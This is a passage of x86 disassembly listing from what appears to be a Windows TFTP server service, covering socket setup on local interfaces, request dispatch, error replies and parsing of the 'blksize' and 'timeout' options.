; RtlCreateTimerQueue cmp eax, esi jnz loc_10019EB mov eax, 0EA60h push esi push eax push eax push esi push offset sub_10029BA push offset dword_1006048 push dword_10060A0 call ds:RtlCreateTimer ; RtlCreateTimer push esi ; lpName push esi ; bInitialState push esi ; bManualReset push esi ; lpEventAttributes mov edi, eax call ds:CreateEventA ; CreateEventA cmp eax, esi mov dword_1005DF8, eax jnz short loc_10019A2 mov eax, edi jmp short loc_10019EB ; --------------------------------------------------------------------------- loc_10019A2: ; CODE XREF: sub_10018DB+C1j push esi push 0FFFFFFFFh push esi push offset sub_1002219 push eax push offset dword_1005DFC call ds:RtlRegisterWait ; RtlRegisterWait cmp eax, esi jnz short loc_10019EB mov ecx, offset overlapped xor eax, eax mov edi, ecx push ecx ; overlapped stosd stosd stosd stosd stosd mov eax, dword_1005DF8 push offset Handle ; Handle mov overlapped.hEvent, eax call NotifyAddrChange ; NotifyAddrChange cmp eax, esi jz short loc_10019E9 cmp eax, 3E5h jnz short loc_10019EB loc_10019E9: ; CODE XREF: sub_10018DB+105j xor eax, eax loc_10019EB: ; CODE XREF: sub_10018DB+89j ; sub_10018DB+C5j ... pop edi pop esi pop ebx leave retn sub_10018DB endp ; =============== S U B R O U T I N E ======================================= sub_10019F0 proc near ; CODE XREF: sub_1001665+203p mov eax, offset lpMem push offset stru_1006060 ; lpCriticalSection mov dword_100607C, eax mov lpMem, eax call ds:InitializeCriticalSection ; InitializeCriticalSection push 0 ; dwMaximumSize push 0EFD1Ch ; dwInitialSize push 0 ; flOptions call ds:HeapCreate ; HeapCreate mov hHeap, eax retn sub_10019F0 endp ; =============== S U B R O U T I N E ======================================= sub_1001A1F proc near ; CODE XREF: sub_10029BA+79p push ebx push esi mov ebx, offset stru_1006060 push edi push ebx ; lpCriticalSection xor esi, esi call ds:EnterCriticalSection mov eax, dword_1005DF0 sub eax, dword_1005DF4 cmp eax, 0Ah jbe short loc_1001A46 shr eax, 1 mov esi, eax jmp short loc_1001A4E ; --------------------------------------------------------------------------- loc_1001A46: ; CODE XREF: sub_1001A1F+1Fj cmp eax, 3 jbe short loc_1001A4E push 2 pop esi loc_1001A4E: ; CODE XREF: sub_1001A1F+25j ; sub_1001A1F+2Aj test esi, esi jbe short loc_1001A86 mov edi, esi loc_1001A54: ; CODE XREF: sub_1001A1F+65j mov eax, lpMem mov esi, eax mov ecx, [eax] mov eax, [eax+4] mov [eax], ecx mov [ecx+4], eax push dword ptr [esi+30h] ; hObject call ds:CloseHandle ; CloseHandle push esi ; lpMem push 0 ; dwFlags push hHeap ; hHeap call ds:HeapFree dec dword_1005DF0 dec edi jnz short loc_1001A54 loc_1001A86: ; CODE XREF: sub_1001A1F+31j push ebx ; lpCriticalSection call ds:LeaveCriticalSection pop edi pop esi pop ebx retn sub_1001A1F endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1001A91(SOCKET s, int) sub_1001A91 proc near ; CODE XREF: .text:01001DCCp ; .text:01001DE1p dwFlags = dword ptr -10004h argp = dword ptr -10000h Fromlen = dword ptr -0FFFCh var_FFF8 = dword ptr -0FFF8h Buffers = _WSABUF ptr -0FFF4h Handles = dword ptr -0FFECh var_FFE8 = dword ptr -0FFE8h Overlapped = _OVERLAPPED ptr -0FFE4h to = sockaddr ptr -0FFD0h var_FFC0 = dword ptr -0FFC0h s = dword ptr 4 arg_4 = dword ptr 8 mov eax, 10004h call _chkstk ; _chkstk push ebx push ebp xor ebp, ebp push esi push edi mov [esp+10014h+dwFlags], ebp mov ebx, offset stru_1006060 loc_1001AAA: ; CODE XREF: sub_1001A91+291j lea eax, [esp+10014h+argp] push eax ; argp push 4004667Fh ; cmd push [esp+1001Ch+s] ; s call ds:ioctlsocket ; ioctlsocket cmp eax, ebp jnz loc_1001D27 cmp [esp+10014h+argp], ebp jz loc_1001D65 xor eax, eax lea edi, [esp+10014h+Overlapped] stosd stosd stosd stosd push ebx ; lpCriticalSection stosd call ds:EnterCriticalSection mov eax, lpMem inc dword_1005DF4 cmp eax, offset lpMem jz short loc_1001B11 mov ecx, [eax] mov esi, eax mov eax, [eax+4] mov [eax], ecx mov [ecx+4], eax push dword ptr [esi+30h] ; hEvent call ds:ResetEvent ; ResetEvent mov eax, [esi+30h] jmp short loc_1001B41 ; --------------------------------------------------------------------------- loc_1001B11: ; CODE XREF: sub_1001A91+64j inc dword_1005DF0 push 2FF6Ch ; dwBytes push 8 ; dwFlags push hHeap ; hHeap call ds:HeapAlloc mov esi, eax cmp esi, ebp jz loc_1001D5E push ebp ; lpName push ebp ; bInitialState push ebp ; bManualReset push ebp ; lpEventAttributes call ds:CreateEventA ; CreateEventA mov [esi+30h], eax loc_1001B41: ; CODE XREF: sub_1001A91+7Ej push ebx ; lpCriticalSection mov [esp+10018h+Overlapped.hEvent], eax call ds:LeaveCriticalSection lea ebp, [esi+34h] mov ecx, 3FEFh xor eax, eax mov edi, ebp rep stosd stosb mov eax, [esp+10014h+arg_4] mov [esp+10014h+Buffers.buf], ebp mov [esp+10014h+Buffers.len], 0FFBDh mov [esp+10014h+Fromlen], 10h mov [esi+1Ch], eax lea eax, [esp+10014h+Overlapped] push 0 ; lpCompletionRoutine push eax ; lpOverlapped lea eax, [esp+1001Ch+Fromlen] lea edi, [esi+2Ch] push eax ; lpFromlen lea eax, [esi+0Ch] push eax ; lpFrom lea eax, [esp+10024h+dwFlags] push eax ; lpFlags push edi ; lpNumberOfBytesRecvd lea eax, [esp+1002Ch+Buffers] push 1 ; dwBufferCount push eax ; lpBuffers push [esp+10034h+s] ; s call ds:WSARecvFrom ; WSARecvFrom mov [esp+10014h+var_FFF8], eax mov ax, [esi+0Eh] push eax ; netshort call ds:ntohs ; ntohs cmp [esp+10014h+var_FFF8], 0 jz short loc_1001C34 call ds:WSAGetLastError ; WSAGetLastError cmp eax, 3E5h jnz loc_1001D2F mov eax, hHandle push 0FFFFFFFFh ; dwMilliseconds mov [esp+10018h+Handles], eax mov eax, [esp+10018h+Overlapped.hEvent] mov [esp+10018h+var_FFE8], eax lea eax, [esp+10018h+Handles] push 0 ; bWaitAll push eax ; lpHandles push 2 ; nCount call ds:WaitForMultipleObjects ; WaitForMultipleObjects cmp eax, 0FFFFFFFFh jz loc_1001D2F cmp eax, 102h jz loc_1001D2F test eax, eax jz loc_1001D2F lea eax, [esp+10014h+dwFlags] push eax ; lpdwFlags push 0 ; fWait lea eax, [esp+1001Ch+Overlapped] push edi ; lpcbTransfer push eax ; lpOverlapped push [esp+10024h+s] ; s call ds:WSAGetOverlappedResult ; WSAGetOverlappedResult test eax, eax jnz short loc_1001C34 call ds:WSAGetLastError ; WSAGetLastError jmp loc_1001CEA ; --------------------------------------------------------------------------- loc_1001C34: ; CODE XREF: sub_1001A91+129j ; sub_1001A91+196j push 0 ; dwMilliseconds push hHandle ; hHandle call ds:WaitForSingleObject ; WaitForSingleObject test eax, eax jz loc_1001D2F cmp dword ptr [edi], 2 jl loc_1001CEA xor edi, edi cmp [esp+10014h+arg_4], edi jz short loc_1001CDA mov ax, [ebp+0] push eax ; hostshort call ds:htons ; htons movzx ecx, ax test ecx, ecx jle short loc_1001CB8 cmp ecx, 2 jle short loc_1001C81 cmp ecx, 4 jz short loc_1001CB8 cmp ecx, 5 jnz short loc_1001CB8 jmp short loc_1001CEA ; --------------------------------------------------------------------------- loc_1001C81: ; CODE XREF: sub_1001A91+1E2j cmp ax, 1 jnz short loc_1001C94 inc dword ptr Time+4 mov edi, offset sub_1002F31 jmp short loc_1001CA5 ; --------------------------------------------------------------------------- loc_1001C94: ; CODE XREF: sub_1001A91+1F4j cmp ax, 2 jnz short loc_1001CA5 inc dword_10060C8 mov edi, offset sub_100333A loc_1001CA5: ; CODE XREF: sub_1001A91+201j ; sub_1001A91+207j mov eax, [esp+10014h+s] test edi, edi mov [esi+8], eax jz short loc_1001CEA push esi call edi ; sub_1002F31 jmp short loc_1001CEA ; --------------------------------------------------------------------------- loc_1001CB8: ; CODE XREF: sub_1001A91+1DDj ; sub_1001A91+1E7j ... push 0 ; int push 4 ; hostshort push [esp+1001Ch+s] ; s inc dword_10060CC lea eax, [esp+10020h+var_FFC0] push eax ; int lea eax, [esp+10024h+to] push eax ; to call sub_100230A jmp short loc_1001CEA ; --------------------------------------------------------------------------- loc_1001CDA: ; CODE XREF: sub_1001A91+1CBj mov eax, [esp+10014h+s] push esi mov [esi+8], eax call sub_1002EC8 loc_1001CEA: ; CODE XREF: sub_1001A91+19Ej ; sub_1001A91+1BCj ... push ebx ; lpCriticalSection call ds:EnterCriticalSection mov eax, lpMem mov dword ptr [esi+4], offset lpMem mov [esi], eax push offset Addend ; lpAddend mov [eax+4], esi mov lpMem, esi call ds:InterlockedIncrement ; InterlockedIncrement dec dword_1005DF4 push ebx ; lpCriticalSection call ds:LeaveCriticalSection xor ebp, ebp jmp loc_1001AAA ; --------------------------------------------------------------------------- loc_1001D27: ; CODE XREF: sub_1001A91+32j call ds:WSAGetLastError ; WSAGetLastError jmp short loc_1001D65 ; --------------------------------------------------------------------------- loc_1001D2F: ; CODE XREF: sub_1001A91+136j ; sub_1001A91+161j ... push ebx ; lpCriticalSection call ds:EnterCriticalSection mov eax, lpMem mov dword ptr [esi+4], offset lpMem mov [esi], eax push offset Addend ; lpAddend mov [eax+4], esi mov lpMem, esi call ds:InterlockedIncrement ; InterlockedIncrement dec dword_1005DF4 loc_1001D5E: ; CODE XREF: sub_1001A91+9Dj push ebx ; lpCriticalSection call ds:LeaveCriticalSection loc_1001D65: ; CODE XREF: sub_1001A91+3Cj ; sub_1001A91+29Cj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10004h retn 8 sub_1001A91 endp ; --------------------------------------------------------------------------- loc_1001D74: ; DATA XREF: sub_100188E+2Do push ecx push ebx push ebp push esi mov esi, offset stru_1006020 push edi mov edi, ds:TryEnterCriticalSection push esi xor ebp, ebp xor ebx, ebx call edi ; TryEnterCriticalSection loc_1001D8B: ; CODE XREF: .text:01001DA1j test eax, eax jnz short loc_1001DA7 push 0C8h call ds:Sleep ; Sleep push esi call edi ; TryEnterCriticalSection inc ebx cmp ebx, 7Dh jb short loc_1001D8B test eax, eax jz short loc_1001DD1 loc_1001DA7: ; CODE XREF: .text:01001D8Dj lea eax, [esp+10h] push eax push dword ptr [esp+1Ch] call sub_10021E5 test eax, eax jnz short loc_1001DC0 mov eax, [esp+10h] mov ebp, [eax+0Ch] loc_1001DC0: ; CODE XREF: .text:01001DB7j push esi call ds:LeaveCriticalSection push ebp push dword ptr [esp+1Ch] call sub_1001A91 loc_1001DD1: ; CODE XREF: .text:01001DA5j pop edi pop esi pop ebp xor eax, eax pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_1001DDB: ; DATA XREF: sub_100188E:loc_10018C2o push 0 push dword ptr [esp+8] call sub_1001A91 xor eax, eax retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; void __stdcall HandlerProc(DWORD) HandlerProc proc near ; DATA XREF: sub_1001665+6o Time = qword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+Time] push eax ; Time call ds:time ; time inc ServiceStatus.dwCheckPoint pop ecx lea eax, [ebp+Time] push eax ; Time call ds:ctime ; ctime mov eax, [ebp+arg_0] pop ecx dec eax jz short loc_1001E68 dec eax jz short loc_1001E35 dec eax jz short loc_1001E1D dec eax dec eax jz short loc_1001E68 jmp short loc_1001E4B ; --------------------------------------------------------------------------- loc_1001E1D: ; CODE XREF: HandlerProc+2Aj push hThread ; hThread call ds:ResumeThread ; ResumeThread mov ServiceStatus.dwCurrentState, 4 jmp short loc_1001E4B ; --------------------------------------------------------------------------- loc_1001E35: ; CODE XREF: HandlerProc+27j push hThread ; hThread call ds:SuspendThread ; SuspendThread mov ServiceStatus.dwCurrentState, 7 loc_1001E4B: ; CODE XREF: HandlerProc+30j ; HandlerProc+48j push offset ServiceStatus ; lpServiceStatus push hServiceStatus ; hServiceStatus call ds:SetServiceStatus ; SetServiceStatus test eax, eax jnz short locret_1001E6F call ds:GetLastError jmp short locret_1001E6F ; --------------------------------------------------------------------------- loc_1001E68: ; CODE XREF: HandlerProc+24j ; HandlerProc+2Ej push 0 call sub_1001E73 locret_1001E6F: ; CODE XREF: HandlerProc+73j ; HandlerProc+7Bj leave retn 4 HandlerProc endp ; =============== S U B R O U T I N E ======================================= sub_1001E73 proc near ; CODE XREF: sub_1001665+B9p ; HandlerProc+7Fp arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, ds:SetServiceStatus push edi mov edi, offset ServiceStatus push edi ; lpServiceStatus mov ServiceStatus.dwCurrentState, 3 push hServiceStatus ; hServiceStatus call esi ; SetServiceStatus mov ebp, ds:GetLastError xor ebx, ebx cmp eax, ebx jnz short loc_1001EA3 call ebp ; GetLastError loc_1001EA3: ; CODE XREF: sub_1001E73+2Cj push hHandle ; hEvent call ds:SetEvent ; SetEvent mov ServiceStatus.dwCurrentState, 1 mov ServiceStatus.dwCheckPoint, ebx mov eax, [esp+10h+arg_0] mov ServiceStatus.dwWaitHint, ebx cmp eax, ebx jnz short loc_1001EDB mov ServiceStatus.dwWin32ExitCode, ebx mov ServiceStatus.dwServiceSpecificExitCode, ebx jmp short loc_1001EFD ; --------------------------------------------------------------------------- loc_1001EDB: ; CODE XREF: sub_1001E73+58j cmp eax, 834h jb short loc_1001EF3 cmp eax, 16A7h mov ServiceStatus.dwWin32ExitCode, 42Ah jbe short loc_1001EF8 loc_1001EF3: ; CODE XREF: sub_1001E73+6Dj mov ServiceStatus.dwWin32ExitCode, eax loc_1001EF8: ; CODE XREF: sub_1001E73+7Ej mov ServiceStatus.dwServiceSpecificExitCode, eax loc_1001EFD: ; CODE XREF: sub_1001E73+66j push edi ; lpServiceStatus push hServiceStatus ; hServiceStatus call esi ; SetServiceStatus cmp eax, ebx jnz short loc_1001F0C call ebp ; GetLastError loc_1001F0C: ; CODE XREF: sub_1001E73+95j mov eax, hObject mov esi, ds:CloseHandle cmp eax, ebx jz short loc_1001F24 push eax ; hObject call esi ; CloseHandle mov hObject, ebx loc_1001F24: ; CODE XREF: sub_1001E73+A6j mov eax, hHandle cmp eax, ebx jz short loc_1001F36 push eax ; hObject call esi ; CloseHandle mov hHandle, ebx loc_1001F36: ; CODE XREF: sub_1001E73+B8j mov eax, File cmp eax, ebx jz short loc_1001F4D push eax ; File call ds:fclose ; fclose pop ecx mov File, ebx loc_1001F4D: ; CODE XREF: sub_1001E73+CAj pop edi pop esi pop ebp pop ebx retn 4 sub_1001E73 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1001F54(void *Memory) sub_1001F54 proc near ; CODE XREF: sub_1002182+1Cp ; sub_1002219+B7p Memory = dword ptr 4 push esi mov esi, [esp+4+Memory] push 0FFFFFFFFh push dword ptr [esi+10h] call ds:RtlDeregisterWaitEx ; RtlDeregisterWaitEx push dword ptr [esi+8] ; s call ds:closesocket ; closesocket push dword ptr [esi+14h] ; hEvent call ds:WSACloseEvent ; WSACloseEvent mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jnz short loc_1001F90 mov eax, Memory mov ecx, [eax] mov eax, [eax+4] mov [eax], ecx mov [ecx+4], eax jmp short loc_1001F9A ; --------------------------------------------------------------------------- loc_1001F90: ; CODE XREF: sub_1001F54+29j mov [ecx], eax mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx loc_1001F9A: ; CODE XREF: sub_1001F54+3Aj push esi ; Memory call ds:free ; free pop ecx pop esi retn 4 sub_1001F54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001FA6 proc near ; CODE XREF: sub_10018DB+3Dp ; sub_1002219+1Dp var_8 = dword ptr -8 Size = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+Size] push edi ; bOrder push eax ; pdwSize push edi ; pIpAddrTable mov [ebp+Size], edi mov [ebp+var_8], 0C0000017h mov [ebx], edi call GetIpAddrTable ; GetIpAddrTable cmp eax, edi jz short loc_1001FD3 cmp eax, 7Ah jnz short loc_100201A loc_1001FD3: ; CODE XREF: sub_1001FA6+26j push [ebp+Size] ; Size call ds:malloc ; malloc mov esi, eax pop ecx cmp esi, edi jz short loc_100201A loc_1001FE3: ; CODE XREF: sub_1001FA6+63j lea eax, [ebp+Size] push edi ; bOrder push eax ; pdwSize push esi ; pIpAddrTable call GetIpAddrTable ; GetIpAddrTable cmp eax, edi jz short loc_1002015 cmp eax, 7Ah jnz short loc_100201A push [ebp+Size] ; NewSize push esi ; Memory call ds:realloc ; realloc pop ecx cmp eax, edi pop ecx jz short loc_100200B mov esi, eax jmp short loc_1001FE3 ; --------------------------------------------------------------------------- loc_100200B: ; CODE XREF: sub_1001FA6+5Fj push esi ; Memory call ds:free ; free pop ecx jmp short loc_100201A ; --------------------------------------------------------------------------- loc_1002015: ; CODE XREF: sub_1001FA6+4Aj mov [ebp+var_8], edi mov [ebx], esi loc_100201A: ; CODE XREF: sub_1001FA6+2Bj ; sub_1001FA6+3Bj ... mov eax, [ebp+var_8] pop edi pop esi pop ebx leave retn 4 sub_1001FA6 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1002024(struct in_addr in, int) sub_1002024 proc near ; CODE XREF: sub_100205A+B7p in = in_addr ptr 4 arg_4 = dword ptr 8 push dword ptr [esp+in.S_un] ; in call ds:inet_ntoa ; inet_ntoa test eax, eax jz short locret_1002057 push edi mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx push esi mov eax, ecx mov esi, edi mov edi, [esp+8+arg_4] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop esi pop edi locret_1002057: ; CODE XREF: sub_1002024+Cj retn 8 sub_1002024 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_100205A(struct in_addr in) sub_100205A proc near ; CODE XREF: sub_10018DB+64p ; sub_1002219+65p ... var_28 = dword ptr -28h name = sockaddr ptr -14h var_4 = dword ptr -4 in = in_addr ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi xor esi, esi push edi mov [ebp+var_4], esi loc_1002068: ; CODE XREF: sub_100205A+5Dj push 1 ; dwFlags push esi ; g push esi ; lpProtocolInfo push esi ; protocol push 2 ; type push 2 ; af call ds:WSASocketA ; WSASocketA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_100209D xor eax, eax lea edi, [ebp+name] stosd stosd stosd push offset proto ; "udp" push offset name ; "tftp" stosd call ds:getservbyname ; getservbyname cmp eax, esi jnz short loc_10020B9 jmp short loc_10020B1 ; --------------------------------------------------------------------------- loc_100209D: ; CODE XREF: sub_100205A+22j call ds:WSAGetLastError ; WSAGetLastError push 2EEh ; dwMilliseconds call ds:Sleep ; Sleep inc [ebp+var_4] loc_10020B1: ; CODE XREF: sub_100205A+41j cmp [ebp+var_4], 0Ah jge short loc_10020E6 jmp short loc_1002068 ; --------------------------------------------------------------------------- loc_10020B9: ; CODE XREF: sub_100205A+3Fj mov [ebp+name.sa_family], 2 mov ax, [eax+8] mov word ptr [ebp+name.sa_data], ax mov eax, dword ptr [ebp+in.S_un] mov dword ptr [ebp+name.sa_data+2], eax lea eax, [ebp+name] push 10h ; namelen push eax ; name push ebx ; s call ds:bind ; bind test eax, eax jz short loc_10020E6 call ds:GetLastError jmp short loc_100215E ; --------------------------------------------------------------------------- loc_10020E6: ; CODE XREF: sub_100205A+5Bj ; sub_100205A+82j cmp ebx, 0FFFFFFFFh jz short loc_100215E push 20h ; Size call ds:malloc ; malloc mov esi, eax pop ecx test esi, esi jz short loc_100213D push 8 xor eax, eax pop ecx mov edi, esi rep stosd mov eax, dword ptr [ebp+in.S_un] lea ecx, [ebp+var_28] push ecx ; int push eax ; in mov [esi+8], ebx mov [esi+0Ch], eax call sub_1002024 xor eax, eax push eax ; lpName push eax ; bInitialState push eax ; bManualReset push eax ; lpEventAttributes call ds:CreateEventA ; CreateEventA mov edi, eax test edi, edi jz short loc_1002140 push 1 ; char push edi ; hEventObject push ebx ; s mov [esi+14h], edi call sub_100188E test eax, eax mov [esi+10h], eax jnz short loc_1002162 jmp short loc_1002140 ; --------------------------------------------------------------------------- loc_100213D: ; CODE XREF: sub_100205A+9Ej mov edi, dword ptr [ebp+in.S_un] loc_1002140: ; CODE XREF: sub_100205A+CCj ; sub_100205A+E1j push ebx ; s call ds:closesocket ; closesocket test edi, edi jz short loc_1002152 push edi ; hObject call ds:CloseHandle ; CloseHandle loc_1002152: ; CODE XREF: sub_100205A+EFj test esi, esi jz short loc_100215E push esi ; Memory call ds:free ; free pop ecx loc_100215E: ; CODE XREF: sub_100205A+8Aj ; sub_100205A+8Fj ... xor eax, eax jmp short loc_100217B ; --------------------------------------------------------------------------- loc_1002162: ; CODE XREF: sub_100205A+DFj mov eax, Memory mov dword ptr [esi+4], offset Memory mov [esi], eax mov [eax+4], esi mov Memory, esi mov eax, esi loc_100217B: ; CODE XREF: sub_100205A+106j pop edi pop esi pop ebx leave retn 4 sub_100205A endp ; =============== S U B R O U T I N E ======================================= sub_1002182 proc near ; CODE XREF: sub_1002219:loc_1002298p mov ecx, Memory push esi mov esi, offset Memory xor eax, eax cmp ecx, esi jz short loc_10021B3 push edi loc_1002195: ; CODE XREF: sub_1002182+2Ej cmp dword ptr [ecx+18h], 0 mov edi, [ecx] jnz short loc_10021A8 push ecx ; Memory call sub_1001F54 push 1 pop eax jmp short loc_10021AC ; --------------------------------------------------------------------------- loc_10021A8: ; CODE XREF: sub_1002182+19j and dword ptr [ecx+18h], 0 loc_10021AC: ; CODE XREF: sub_1002182+24j cmp edi, esi mov ecx, edi jnz short loc_1002195 pop edi loc_10021B3: ; CODE XREF: sub_1002182+10j pop esi retn sub_1002182 endp ; =============== S U B R O U T I N E ======================================= sub_10021B5 proc near ; CODE XREF: sub_1002219+43p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] push esi mov ecx, offset Memory and dword ptr [edx], 0 mov eax, Memory loc_10021C7: ; CODE XREF: sub_10021B5+21j cmp eax, ecx jz short loc_10021DF mov esi, [eax+0Ch] cmp esi, [esp+4+arg_0] jz short loc_10021D8 mov eax, [eax] jmp short loc_10021C7 ; --------------------------------------------------------------------------- loc_10021D8: ; CODE XREF: sub_10021B5+1Dj push 1 mov [edx], eax pop eax jmp short loc_10021E1 ; --------------------------------------------------------------------------- loc_10021DF: ; CODE XREF: sub_10021B5+14j xor eax, eax loc_10021E1: ; CODE XREF: sub_10021B5+28j pop esi retn 8 sub_10021B5 endp ; =============== S U B R O U T I N E ======================================= sub_10021E5 proc near ; CODE XREF: .text:01001DB0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] push esi mov ecx, offset Memory and dword ptr [edx], 0 mov eax, Memory loc_10021F7: ; CODE XREF: sub_10021E5+21j cmp eax, ecx jz short loc_100220A mov esi, [eax+8] cmp esi, [esp+4+arg_0] jz short loc_1002208 mov eax, [eax] jmp short loc_10021F7 ; --------------------------------------------------------------------------- loc_1002208: ; CODE XREF: sub_10021E5+1Dj mov [edx], eax loc_100220A: ; CODE XREF: sub_10021E5+14j mov eax, [edx] pop esi neg eax sbb eax, eax and al, 0A9h add eax, 57h retn 8 sub_10021E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1002219 proc near ; DATA XREF: sub_10018DB+CBo var_C = dword ptr -0Ch var_8 = dword ptr -8 Memory = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi xor esi, esi push offset stru_1006020 ; lpCriticalSection mov [ebp+var_C], esi call ds:EnterCriticalSection lea eax, [ebp+Memory] push eax call sub_1001FA6 test eax, eax jnz short loc_10022A9 mov eax, [ebp+Memory] xor ebx, ebx cmp [eax], esi jbe short loc_1002298 loc_1002248: ; CODE XREF: sub_1002219+7Dj mov eax, [eax+esi+4] test eax, eax jz short loc_100228D cmp eax, 100007Fh jz short loc_100228D lea ecx, [ebp+var_8] push ecx push eax call sub_10021B5 test eax, eax jz short loc_1002271 mov eax, [ebp+var_8] mov dword ptr [eax+18h], 1 jmp short loc_100228D ; --------------------------------------------------------------------------- loc_1002271: ; CODE XREF: sub_1002219+4Aj mov eax, [ebp+Memory] push 1 pop edi push dword ptr [eax+esi+4] ; in mov [ebp+var_C], edi call sub_100205A test eax, eax mov [ebp+var_8], eax jz short loc_100228D mov [eax+18h], edi loc_100228D: ; CODE XREF: sub_1002219+35j ; sub_1002219+3Cj ... mov eax, [ebp+Memory] inc ebx add esi, 18h cmp ebx, [eax] jb short loc_1002248 loc_1002298: ; CODE XREF: sub_1002219+2Dj call sub_1002182 push [ebp+Memory] ; Memory mov esi, eax call ds:free ; free pop ecx loc_10022A9: ; CODE XREF: sub_1002219+24j cmp [ebp+var_C], 0 jnz short loc_10022E9 test esi, esi jnz short loc_10022E9 mov eax, Memory mov edi, offset Memory cmp eax, edi jz short loc_10022E9 loc_10022C1: ; CODE XREF: sub_1002219+CEj mov [ebp+var_8], eax mov ebx, [eax] test byte ptr [eax+1Ch], 1 jnz short loc_10022E3 mov esi, [eax+0Ch] push eax ; Memory call sub_1001F54 push esi ; in call sub_100205A test eax, eax jz short loc_10022E3 or dword ptr [eax+1Ch], 1 loc_10022E3: ; CODE XREF: sub_1002219+B1j ; sub_1002219+C4j cmp ebx, edi mov eax, ebx jnz short loc_10022C1 loc_10022E9: ; CODE XREF: sub_1002219+94j ; sub_1002219+98j ... push offset overlapped ; overlapped push offset Handle ; Handle call NotifyAddrChange ; NotifyAddrChange push offset stru_1006020 ; lpCriticalSection call ds:LeaveCriticalSection pop edi pop esi pop ebx leave retn 8 sub_1002219 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_100230A(struct sockaddr *to, int, SOCKET s, u_short hostshort, int) sub_100230A proc near ; CODE XREF: sub_1001A91+242p ; sub_10023D8+23Cp ... buf = byte ptr -0FFBCh var_FFBA = word ptr -0FFBAh var_FFB8 = byte ptr -0FFB8h to = dword ptr 8 s = dword ptr 10h hostshort = word ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 0FFBCh call _chkstk ; _chkstk push ebx push esi mov esi, ds:htons push edi push 5 ; hostshort call esi ; htons mov edi, dword ptr [ebp+hostshort] mov word ptr [ebp+buf], ax push edi ; hostshort call esi ; htons cmp [ebp+arg_10], 0 mov [ebp+var_FFBA], ax jz short loc_1002369 mov edi, [ebp+arg_10] or ecx, 0FFFFFFFFh xor eax, eax lea edx, [ebp+var_FFB8] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, [ebp+arg_10] jmp short loc_10023A2 ; --------------------------------------------------------------------------- loc_1002369: ; CODE XREF: sub_100230A+32j cmp di, 9 jb short loc_1002371 xor edi, edi loc_1002371: ; CODE XREF: sub_100230A+63j movzx eax, di or ecx, 0FFFFFFFFh lea ebx, [ebp+var_FFB8] mov edx, off_1005CC0[eax*4] xor eax, eax mov edi, edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, edx loc_10023A2: ; CODE XREF: sub_100230A+5Dj or ecx, 0FFFFFFFFh xor eax, eax repne scasb push 10h ; tolen push [ebp+to] ; to not ecx dec ecx push eax ; flags add ecx, 5 lea eax, [ebp+buf] push ecx ; len push eax ; buf push [ebp+s] ; s call ds:sendto ; sendto cmp eax, 0FFFFFFFFh jnz short loc_10023D1 call ds:WSAGetLastError ; WSAGetLastError loc_10023D1: ; CODE XREF: sub_100230A+BFj pop edi pop esi pop ebx leave retn 14h sub_100230A endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_10023D8(int, char *Str1, int, int, int, int) sub_10023D8 proc near ; CODE XREF: sub_1002F31+302p ; sub_100333A+26Dp arg_0 = dword ptr 4 Str1 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h mov eax, [esp+arg_0] push ebx push ebp push esi mov esi, [esp+0Ch+arg_10] mov dword ptr [eax+20h], 200h mov dword ptr [eax+28h], 0Ah mov eax, [esp+0Ch+arg_14] push edi mov ecx, 3FEFh and dword ptr [eax], 0 xor eax, eax mov edi, esi push 6 ; hostshort rep stosd call ds:htons ; htons mov [esi], ax lea ebx, [esi+2] mov ebp, [esp+10h+Str1] cmp byte ptr [ebp+0], 0 jz loc_10025E4 loc_1002420: ; CODE XREF: sub_10023D8+202j mov esi, ds:_stricmp push offset Str2 ; "blksize" push ebp ; Str1 call esi ; _stricmp pop ecx test eax, eax pop ecx jnz short loc_1002498 mov edi, ebp or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx push 8 mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop esi add ebp, esi add ebx, esi push ebp ; Str call ds:atoi ; atoi pop ecx cmp eax, esi mov ecx, [esp+10h+arg_0] mov [ecx+20h], eax jb loc_10025FD cmp eax, 0FFB8h ja loc_10025FD cmp eax, 5B0h jnz short loc_100248F mov dword ptr [ecx+20h], 200h sub ebx, esi jmp loc_10025C6 ; --------------------------------------------------------------------------- loc_100248F: ; CODE XREF: sub_10023D8+A7j push 0Ah push ebx push eax jmp loc_1002597 ; --------------------------------------------------------------------------- loc_1002498: ; CODE XREF: sub_10023D8+5Aj push offset aTimeout_0 ; "timeout" push 